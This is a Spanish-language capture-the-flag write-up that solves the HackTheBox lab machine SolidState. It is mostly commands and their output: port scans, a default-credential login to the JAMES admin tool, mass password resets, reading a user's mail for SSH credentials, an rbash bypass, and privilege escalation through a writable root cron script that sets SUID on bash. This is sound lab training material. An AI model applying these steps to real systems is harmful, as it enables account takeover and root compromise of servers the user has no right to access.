Maquina SolidState - htb writeup

Firtmiracle el
Maquina SolidState - htb writeup

Hola otra vez, el dia de hoy vamos a resolver la máquina SolidState de la plataforma de hackthebox correspondiente a una maquina linux de dificultad media, la cual vamos a explotar al conectarnos a un servicio de administración que nos permitira cambiar las contraseñas de usuarios de correo, y mediante ello obtendremos unas credenciales para conectarnos al sistema, donde una vez conectados haremos un bypass de una restricted bash asignada y finalmente nos construiremos un script en bash para detectar tareas cron y aprovecharemos una para poder convertinos en el usuario root.

Vamos a comenzar creando un directorio con el nombre de la maquina:

❯ mkdir SolidState
❯ ls
 SolidState

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

ENUMERACION #

Ahora que tenemos nuestros directorios vamos a comenzar con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.51
PING 10.10.10.51 (10.10.10.51) 56(84) bytes of data.
64 bytes from 10.10.10.51: icmp_seq=1 ttl=63 time=195 ms

--- 10.10.10.51 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 194.687/194.687/194.687/0.000 ms

Vemos que la maquina nos responde, con un ttl de 63correspondiente a una maquina linux, ahora procederemos a el escaneo de puertos con la ayuda de nmap:

Escaneo de Puertos

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.51 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-24 21:26 GMT
Initiating SYN Stealth Scan at 21:26
Scanning 10.10.10.51 [65535 ports]
Discovered open port 25/tcp on 10.10.10.51
Discovered open port 110/tcp on 10.10.10.51
Discovered open port 80/tcp on 10.10.10.51
Discovered open port 22/tcp on 10.10.10.51
Discovered open port 4555/tcp on 10.10.10.51
Discovered open port 119/tcp on 10.10.10.51
Completed SYN Stealth Scan at 21:26, 18.27s elapsed (65535 total ports)
Nmap scan report for 10.10.10.51
Host is up, received user-set (0.21s latency).
Scanned at 2023-06-24 21:26:16 GMT for 18s
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
25/tcp   open  smtp    syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
110/tcp  open  pop3    syn-ack ttl 63
119/tcp  open  nntp    syn-ack ttl 63
4555/tcp open  rsip    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.41 seconds
           Raw packets sent: 86905 (3.824MB) | Rcvd: 85777 (3.431MB)

Escaneo de Version y Servicios.

❯ nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-24 21:27 GMT
Nmap scan report for 10.10.10.51
Host is up (0.45s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.5 [10.10.16.5])
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.92%I=7%D=6/24%Time=64975FD6%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\nPl
SF:ease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPasswo
SF:rd:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 291.45 seconds

Visulizamos informacion interesante de los puertos escaneados:

Puerto Servicio Versión
22 SSH OpenSSH 7.4p1 Debian 10+deb9u1
25 SMTP JAMES smtpd 2.3.2
80 HTTP Apache httpd 2.4.25
110 POP3 JAMES pop3d 2.3.2
119 NNTP JAMES nntpd (posting ok)
4555 RSIP? JAMES Remote Administration Tool 2.3.2

EXPLOTACION #

Ya que nmap nos reporta el el puerto 4555 un servicio de administración, vamos a tratar de conectarnos.

❯ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
admin
Password:
password
Login failed for admin
Login id:

Obvervamos que el servicio nos pide unas credenciales, y si fallamos al tratar de conectarnos, pero podemos probar credenciales por defecto, en este caso usaremos root:root.

❯ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
HELP
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection

Logramos ingresar al servicio, y podemos ver que tenemos una lista de opciones que podemos usar, entre ellas una que corresponde a listar usuario y cambiarles la contraseña.

Primero vamos a lista a todos los usuarios registrados.

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Ahora como no sabemos la contraseña de cada uno de estos, usaremos la opcion para modificarles la contraseña y le asignaremos a todos el mismo nombre de usuario.

setpassword james james
Password for james reset
setpassword thomas thomas
Password for thomas reset
setpassword john john
Password for john reset
setpassword mindy mindy
Password for mindy reset
setpassword mailadmin mailadmin
Password for mailadmin reset

Como los usuarios corresponden a servicios de correo, vamos a conectarnos para inspeccionar si existe algun mail importante.

❯ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER james
+OK
PASS james
+OK Welcome james
LIST
+OK 0 0
.

Si ahora probamos a conectarnos como el usuario mindy, observamos que tiene dos correos.

❯ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
USER mindy
+OK
PASS mindy
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.

Al leer el segundo correo, encontramos unas credenciales para conectarse por ssh.

RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login. 
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. 

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

Las credenciales son validas, pero al conectarnos vemos que estamos limitados por una restricted bash.

❯ ssh mindy@10.10.10.51
The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established.
ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgKOpfTedDAXx50SYVGPCfChsGwI0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.51' (ECDSA) to the list of known hosts.
mindy@10.10.10.51's password: 
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ 
mindy@solidstate:~$ whoami
-rbash: whoami: command not found
mindy@solidstate:~$

Ahora como podemos bypasear la restricted bash, pues es muy sencillo; podemos usar como parametro -t bash y de ejecutarse un docker en la maquina nos otorgara una sesión interactiva dentro del contenedor omitiendo las restricciones.

Haciendo uso de lo mencionado, podemos volver a conectarnos y visualizar la primera flag user.txt.

❯ ssh mindy@10.10.10.51 -t bash
mindy@10.10.10.51's password: 
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ 
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami
mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls
bin  user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cat user.txt 
5aadb8206e94c4471346a863bf006a4a

ELEVACION DE PRIVILEGIOS #

Enumarando el sistema no encontramos información interesante como archivos suid o privilegios de nuestro usuario. Por ello vamos a crearnos un script en bash que nos permita ver tareas que se esten ejecutando en el sistema a intevalos regulares de tiempo al que llamaremos procmon.sh.

#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
  new_process=$(ps -eo user,command)
  diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "kworker|procmon|command"
  old_process=$new_process
done

Ejecutamos el script y despues de unos minutos vemos que el usuario root esta ejecutando un script tmp.py.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ./procmon.sh 
> root     /usr/sbin/CRON -f
< root     /usr/sbin/CRON -f
c^C
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ ls
${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ cd /dev/shm
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ nano procmon.sh
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ chmod +x procmon.sh 
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ ./procmon.sh 
> root     /usr/sbin/CRON -f
> root     /bin/sh -c python /opt/tmp.py
> root     python /opt/tmp.py
< root     /usr/sbin/CRON -f
< root     /bin/sh -c python /opt/tmp.py
< root     python /opt/tmp.py

Si inspeccionamos los permisos del archivo, podemos ver que tenemos capacidad de escritura, quiere decir que podemos modificarlo y al cabo de unos minutos el usuario root sera el que lo ejecute.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ ls -l /opt/tmp.py 
-rwxrwxrwx 1 root root 105 Aug 22  2017 /opt/tmp.py

Vamos a modificarlo para que al ejecutar otorgue el permiso suid a la bash.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ cat /opt/tmp.py
#!/usr/bin/env python
import os
os.system("chmod u+s /bin/bash")

Esperamos unos minutos y vemos que ahora la bash ya cuenta con el permisos suid, ahora podemos convertirnos en el usuario root , ir a su directorio personal y visualizar la segunda flag root.txt.

${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265272 May 15  2017 /bin/bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ bash -p
bash-4.4# whoami
root
bash-4.4# cd /root/
bash-4.4# cat root.txt 
1a0cd964c524d89ebe2a7d630f938518

Comments

comments powered by Disqus